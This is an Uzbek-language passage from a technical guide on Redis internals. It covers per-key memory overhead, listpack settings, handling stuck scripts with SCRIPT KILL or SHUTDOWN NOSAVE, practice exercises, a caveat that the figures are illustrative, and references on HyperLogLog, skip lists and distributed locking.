17.2 Xotira

dictEntry                   24 bayt
kalit SDS (yaxlitlash bilan) ~32 bayt
qiymat robj                 16 bayt
qiymat SDS                  ~72 bayt
ekspirasiya yozuvi (TTL bo'lsa) ~24 bayt
------------------------------------
Jami                       ~168 bayt

hash-max-listpack-entries 128
hash-max-listpack-value 64

17.3 Doimiylik va ishonchlilik

17.4 Amaliy stsenariylar

SCRIPT KILL     -- skript hech narsa YOZMAGAN bo'lsa ishlaydi
SHUTDOWN NOSAVE -- yozgan bo'lsa, yagona yo'l (ma'lumot yo'qoladi)

18. Amaliyot

To‘rt daraja. Ikkinchi daraja uchun kod va avtomatik tekshiruvlar docs/amaliyot/redis/ da: skiplist.py, hll.py, keyspace.py — TODO; model.py — tayyor skiplist tuguni, barqaror xesh va Zipf trafigi; check.py — 15 ta tekshiruv.

19. Lug‘at

20. Raqamlar manbasi

Kechikishlar (RTT ~200 µs, komanda ~1 µs), xotira ustamalari (har kalitga ~100 bayt), ops/s, fork cho‘qqisi, AOF hajmi, RAM va disk narxlari — illyustratsiya uchun taxminiy raqamlar. Ular versiya, apparat va bulut provayderiga qarab bir necha barobar farq qiladi. Aniq qiymatlarni o‘z muhitingizda redis-benchmark, MEMORY USAGE va INFO bilan o‘lchang. Asosiy xulosalar — tarmoq hukmronligi, bitta ipning narxi, maxmemory zaxirasi, asinxron replikatsiyadagi yo‘qotish — bu farqlarga chidamli.

21. Manbalar

• Redis rasmiy hujjatlari: Data types, Memory optimization, Persistence, Key eviction, Cluster specification
• Salvatore Sanfilippo (antirez), blog: “Redis new data structure: the HyperLogLog” (2014) va boshqa yozuvlar — ko‘p qarorlarning asl sabablari
• Philippe Flajolet va boshq. (2007), “HyperLogLog: the analysis of a near-optimal cardinality estimation algorithm”, AofA
• Stefan Heule, Marc Nunkesser, Alexander Hall (2013), “HyperLogLog in Practice”, EDBT (Google)
• Otmar Ertl (2017), “New cardinality estimation algorithms for HyperLogLog sketches”, arXiv
• William Pugh (1990), “Skip Lists: A Probabilistic Alternative to Balanced Trees”, Communications of the ACM
• Martin Kleppmann (2016), “How to do distributed locking” — Redlock tanqidi va fencing token
• Redis: “Distributed Locks with Redis” — munozaraning ikkinchi tomoni
• Valkey hujjatlari: History — loyiha tarixi va fork
• redis-cli --latency, --bigkeys, --memkeys, LATENCY DOCTOR — amaliy diagnostika vositalari